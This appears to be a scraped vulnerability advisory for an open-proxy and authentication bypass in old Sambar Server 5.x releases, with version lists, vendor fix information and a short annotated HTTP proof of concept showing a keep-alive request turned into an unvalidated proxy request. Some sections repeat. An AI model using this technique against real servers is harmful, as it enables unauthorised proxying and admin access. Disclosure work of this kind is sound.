Sambar Open Proxy and Authentication Bypass Vulnerability
BID:10256
Info
Sambar Open Proxy and Authentication Bypass Vulnerability
| Bugtraq ID: | 10256 |
| Class: | Origin Validation Error |
| CVE: |
CVE-2003-1286 CVE-2003-1285 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 30 2003 12:00AM |
| Updated: | Jul 12 2009 04:07AM |
| Credit: | Discovery of these issues is credited to David Endler. |
| Vulnerable: |
Sambar Server 5.3 b4 Sambar Server 5.3 Sambar Server 5.2 b Sambar Server 5.2 Sambar Server 5.1 Sambar Server 5.0 beta6 Sambar Server 5.0 beta5 Sambar Server 5.0 beta4 Sambar Server 5.0 beta3 Sambar Server 5.0 beta2 Sambar Server 5.0 beta1 |
| Not Vulnerable: |
Sambar Server 6.1 beta Sambar Server 6.0.1 Sambar Server 6.0 |
Discussion
Sambar Open Proxy and Authentication Bypass Vulnerability
Sambar improperly validates the IP address of an originating connection and can be used to gain access the administration interface without authorization.
Once the remote attacker has gained access to the administrative interface, further attacks are possible, including privilege escalation and unauthorized system access.
Sambar improperly validates the IP address of an originating connection and can be used to gain access the administration interface without authorization.
Once the remote attacker has gained access to the administrative interface, further attacks are possible, including privilege escalation and unauthorized system access.
Exploit / POC
Sambar Open Proxy and Authentication Bypass Vulnerability
The following example has been supplied:
-> GET / HTTP/1.1
Connection: keep-alive
*This is valid web server request. It's granted.
<- Sambar default web page
*Because the connection is keep-alive it's not broken after page is sent.
-> GET http://www.example.com HTTP/1.1
*This is valid proxy requests. This time source IP is not validated, because connection was established before
<- Web page from external site
*Sambar proxies our request.
The following example has been supplied:
-> GET / HTTP/1.1
Connection: keep-alive
*This is valid web server request. It's granted.
<- Sambar default web page
*Because the connection is keep-alive it's not broken after page is sent.
-> GET http://www.example.com HTTP/1.1
*This is valid proxy requests. This time source IP is not validated, because connection was established before
<- Web page from external site
*Sambar proxies our request.
Solution / Fix
Sambar Open Proxy and Authentication Bypass Vulnerability
Solution:
The vendor has released an upgrade dealing with this issue.
Sambar Server 5.1
Sambar Server 5.2
Sambar Server 5.3
Solution:
The vendor has released an upgrade dealing with this issue.
Sambar Server 5.1
-
Sambar Sambar Server 6.0
http://www.sambar.com/
Sambar Server 5.2
-
Sambar Sambar Server 6.0
http://www.sambar.com/
Sambar Server 5.3
-
Sambar Sambar Server 6.0
http://www.sambar.com/
References
Sambar Open Proxy and Authentication Bypass Vulnerability
References:
References:
- SAMBAR HomePage (SAMBAR)
- Sambar Server Security Alert (Sambar)
- SECURITY.NNOV: Sambar security quest (3APA3A <[email protected]>)